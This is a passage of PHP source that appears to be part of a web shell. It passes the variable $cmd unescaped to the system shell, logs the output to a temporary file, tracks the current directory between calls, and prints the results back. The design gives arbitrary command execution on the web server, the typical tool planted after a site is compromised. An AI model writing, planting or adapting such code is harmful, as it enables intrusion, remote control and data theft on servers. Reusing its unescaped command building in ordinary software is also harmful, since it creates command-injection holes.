">> '.$tmpoutput.' && echo '.$pwd.'$ '.escapeshellarg($cmd).' >> '.$tmpoutput.' && echo >> '.$tmpoutput.' && '.$cmd .' >> '.$tmpoutput.' 2>&1 && pwd > '.$tmppwd); $newpwd = trim(file_get_contents($tmppwd)); //capture new Present (current) Working Directory just in case it changed if($newpwd != "") $pwd = $newpwd; //if something failed, don't change directory echo(file_get_contents($tmpoutput, false, NULL, filesize($tmpoutput)-MAX_OUTPUT_LENGHT)); unlink($tmppwd); } ?>
